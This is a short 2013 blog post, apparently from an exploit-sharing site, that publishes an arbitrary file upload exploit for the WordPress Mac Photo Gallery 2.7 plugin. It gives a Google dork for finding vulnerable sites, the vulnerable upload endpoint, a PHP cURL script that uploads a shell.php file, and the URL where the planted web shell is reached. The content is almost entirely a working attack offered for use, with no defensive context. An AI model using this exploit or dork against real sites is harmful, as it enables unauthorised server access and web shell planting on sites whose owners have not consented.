Thursday, May 9, 2013

Wordpress Mac Photo Gallery 2.7 Arbitrary File Upload

Google Dork: inurl:wp-content/plugins/mac-dock-gallery/

http://target.com/wp-content/plugins/mac-dock-gallery/upload-file.php

<?php

$u="C:\Program Files (x86)\EasyPHP-5.3.9\www\shell.php";

$c = curl_init("http://127.0.0.1/wordpress/wp-content/plugins/mac-dock-gallery/upload-file.php");

curl_setopt($c, CURLOPT_POST, true);

curl_setopt($c, CURLOPT_POSTFIELDS,

array('uploadfile'=>"@$u",

'albumId'=>"1",

'mode'=>"image"));

curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);

$e = curl_exec($c);

curl_close($c);

echo $e;

?>

shell access : http://target.com/wp-content/uploads/mac-dock-gallery/shell.php

Newer Post Older Post Home

0 comments:

Post a Comment